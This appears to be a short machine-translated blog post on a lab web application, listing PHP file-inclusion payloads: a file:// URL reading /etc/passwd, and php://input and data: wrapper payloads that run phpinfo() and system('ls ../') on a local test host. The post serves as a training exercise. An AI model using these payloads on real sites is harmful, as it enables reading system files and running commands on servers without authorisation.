当前位置:网站首页>Document contains question type
Document contains question type
2022-06-13 08:17:00 【BT youth】
You can see that there is file Keywords can be used for php Fake protocol :
Use file Pseudo protocol view /etc/passwd
?file=file:///etc/passwd
http://192.168.129.128:83/vulnerabilities/fu1.php?file=file:///etc/passwd
Use php://input Pseudo protocol to view ls /
?file=php:input
(Post Data)
<?php phpinfo()?>
http://192.168.129.128:83/vulnerabilities/fu1.php?file=php://input
<?php system('ls ../');?>
Use data Fake protocol :
?file=data:,<?php phpinfo()?>
?file=data:,<?php system(ls ../)?>
http://192.168.129.128:83/vulnerabilities/fu1.php?file=data:,<?php phpinfo()?>
边栏推荐
- v-for生成的子组件列表删除第n行出现数据错乱问题
- CCNP_ BT static routing
- How to install the bdtab (BD) new tab plug-in in edge browser (Graphic tutorial)
- Local shooting range 2- file upload vulnerability (III) - Network Security
- Microservice project construction III: automatic code generation
- 中小型照明灯饰行业如何利用数字化转型突出重围?
- Maternal and infant supplies wholesale industry uses management software to improve efficiency and realize cost reduction and efficiency increase
- 6. fabric2.2 stop clustering and delete data (use the official demo)
- Edge browser uses bdtab new tab plug-in (BD new tab)
- Web site access excel in IIS
猜你喜欢
Founder of Starbucks: no longer open "public toilets" to non store consumers for safety reasons
Effective Go - The Go Programming Language
2022年G3锅炉水处理操作证考试题库模拟考试平台操作
How does the BD new tab plug-in log in?
v-for生成的子组件列表删除第n行出现数据错乱问题
Free file server storage technology
2022年电工(初级)考题及模拟考试
CCNP_ Bt-ospf big experiment (1)
[problem record] taberror: inconsistent use of tabs and spaces in indentation
批发商为什么要使用订单系统
随机推荐
BD新标签页(BdTab)插件如何登入?
Structural analysis of hyperledger fabric (I)
Live broadcast review | bas technology innovation exploration under active defense system
如何通过JS动态删除table中的数据行(保留head)
3. deploy the fabric2.2 cluster (use the official demo)
Founder of Starbucks: no longer open "public toilets" to non store consumers for safety reasons
About redis encapsulation tool class using distributed locks
Go interface implementation principle [advanced level]: type_ interface struct
Reverse order and comparison of strings
Daffodil upgrade (self idempotent)
MySQL summary
[virt manager] remote management the problem of the floating mouse when starting the virtual machine
26 | superscalar and VLIW: how to make the CPU throughput exceed 1
C盘爆满?简单几招教你释放、清理C盘几十G空间,最有效的C盘清理方法
es6删除对象的某个属性
关于redis使用分布式锁的封装工具类
ERP basic data Huaxia
5. fabric2.2 installation and submission contract (using official demo)
Cosmos Starport installation and startup
24 | adventure and prediction (III): thread pool in CPU